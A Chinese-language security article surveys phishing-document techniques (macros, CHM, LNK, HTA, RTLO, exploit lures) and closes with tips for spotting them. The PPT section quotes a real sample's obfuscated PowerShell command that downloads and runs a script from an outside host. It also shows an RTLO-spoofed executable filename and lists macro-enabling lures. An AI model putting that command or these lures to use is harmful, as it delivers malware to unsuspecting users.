網絡釣魚攻擊文件的幾種姿勢
前言
網絡釣魚是最常見的社會工程學攻擊方式之一。所謂社會工程學,是一種通過對受害者心理弱點、本能反應、好奇心、信任、貪婪等心理陷阱進行諸如欺騙、傷害等危害手段。在生活工作中,最常使用的郵件、各種文檔也成為黑客常用的攻擊載體。近些年來,網絡釣魚攻擊趨勢也一直呈增長趨勢,特別是在APT攻擊、勒索軟件攻擊等事件中,扮演了重要的角色。
姿勢1:內嵌鏈接
在PDF、Office文檔中內嵌一個跳轉鏈接是很早期的釣魚方式,通過文字信息的引導,讓受害者點開頁面,如果缺乏戒心,就可能會獲取到受害者的賬號、密碼、銀Ka、身份Zheng等信息。

Office、Adobe等應用軟件目前都對打開外部鏈接都會彈框進行安全提醒,這種方式也比較容易引起人類警覺。
姿勢2:Office宏
宏是Office自帶的一種高級腳本特性,通過VBA代碼,可以在Office中去完成某項特定的任務,而不必再重復相同的動作,目的是讓用戶文檔中的一些任務自動化。由于早些年宏病毒泛濫,現在Office的宏功能已經默認是禁用,但依然無法阻擋攻擊者使用宏。那么如何引誘受害者開啟宏功能就是關鍵了,常用的套路:
- 文檔是被保護狀態,需要啟用宏才能查看;
- 添加一張模糊的圖片,提示需要啟用宏才能查看高清圖片;
- 提示要查看文檔,按給出的一系列步驟操作;
- 貼一張某殺毒軟件的Logo圖片,暗示文檔被安全軟件保護。
惡意宏代碼在免殺和增加分析難度的手段上也多種多樣,除了把VBA代碼混淆變形外,利用Excel的特性隱藏代碼也很常見。

上圖中996-1006行被隱藏。取消隱藏后,由于字體顏色與背景色相同,所以也難看到,修改這部分背景色查看如下。
利用OLEDump工具,可以看到這段宏代碼是讀取了這部分內容進行惡意文件的下載。
姿勢3:CHM文檔
CHM是Windows幫助文件(如電子書)使用的擴展名,此文件可以被植入可執行代碼。成功的利用需要欺騙用戶打開惡意的CHM文件,該文件可用于執行惡意代碼。其缺點就是打開時會出現彈黑框、卡頓,容易被察覺。

上圖是一例惡意CHM文檔,打開或點擊左側標題時就會執行powershell代碼。通過HH.exe進行反匯編可以看到其執行代碼。

CHM文件的利用雖然歷史悠久,但通過免殺手段依然活躍,著名的Cobalt Strike就支持CHM釣魚文件的生成。
姿勢4:漏洞利用
利用Office、Adobe、IE等應用軟件的漏洞,精心制作成誘餌文檔,是APT攻擊中的常客。現實中可能不會及時更新打補丁,這種攻擊方式的成功率是比較高的。這類文檔除了挑選漏洞外,對文件命名也煞費苦心,通常會起最近的熱點新聞,或跟自身相關的名字,讓人看了不得不點開看看。

捆綁了漏洞的文檔,如果需要完美執行,不被察覺,還是比較困難的,不過只要達到目的,只要被打開就完成一大半了。我們可以簡單的從幾個細節來判斷打開的文檔是否有問題:
- 打開后文件變小,因為病毒體被釋放,原始文件被干凈的文檔替換,如果沒注意原始大小,也可以從創建時間判斷;
- 文檔打開后,office程序自動退出,又自動打開了文檔,第二次打開明顯快了;
- 文檔運行報錯,又或者自行安裝你不知道什么的程序;
- 文檔打開緩慢,系統卡頓較長時間;
- 文檔打開后,顯示的內容與標題不符,或者是亂碼,甚至沒什么內容。
隨著新冠病毒的爆發,很多行業領域都遭受到帶有COVID-19社會工程主題的釣魚攻擊,大多捆綁了勒索軟件。
姿勢5:PPT手勢觸發
如果文檔一打開就觸發已經玩膩了,那么在PPT里設置動作觸發一行命令執行,就比較少見了。在歷史攻擊中就出現過這種利用方式,把ppt配置成ppsx后綴,雙擊運行后就是播放模式,鼠標只要劃過指定區域就會執行一段代碼,美中不足的是會被彈框警告,如果不警惕點了啟用就中招了。
其在運行程序里設置的代碼如下:
- powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadFile('http:'+[char] 0x2F+[char] 0x2F+'cccn.nl'+[char] 0x2F+'c.php',\"$env:temp\ii.jse\"); Invoke-Item \"$env:temp\ii.jse\""
姿勢6:LNK文件
LNK(快捷方式或符號鏈接)是引用其他文件或程序的方法,最著名的就是震網病毒(Stuxnet)中的利用,在最新的利用樣本也有很多,先看一例。
通過分析工具,把執行代碼Dump出來,如下圖。

快捷方式修改的利用方式,在MITRE ATT@CK中的ID是T0123,攻擊者可以使用這種方式來實現持久化。
姿勢7:文件后綴RTLO
偽裝文件中有個比較古老的方式,但依然會在攻擊中看到它的身影。RTLO字符全名為“RIGHT-TO-LEFT OVERRIDE”,是一個不可顯示的控制類字符,其本質是unicode 字符。可以將任意語言的文字內容按倒序排列,最初是用來支持一些從右往左寫的語言的文字,比如錒拉伯語,希伯來語。由于它可以重新排列字符的特性,會被攻擊者利用從而達到欺騙目標,使得用戶運行某些具有危害性的可執行文件。
- #在命令行下可以看到完整的文件名
- '使用幫助-如何刪除ghost-'$'\342\200\256''cod.exe
RTLO使用的關鍵字符就是U+202E,配合修改文件的圖標,還是很具有迷惑性的。
姿勢8:HTA文件
HTA是HTML Application的縮寫,直接將HTML保存成HTA的格式,是一個獨立的應用軟件,本身就是html應用程序,雙擊就能運行,卻比普通網頁權限大得多,它具有桌面程序的所有權限。Cobalt Strike也支持HTA釣魚文件的生成,另有勒索軟件(Locky家族)使用HTA作為傳播載體。
總結
釣魚文檔的姿勢還有很多,本文只是羅列了一些釣魚常用的文件形式,舉例截圖的基本都是真實攻擊中使用到的樣本。針對釣魚攻擊,具備良好的安全意識才是最有效的防范。對于一些來路不明的文件,即使文件名再吸引人,也不能立馬雙擊打開,同時要及時安裝安全補丁。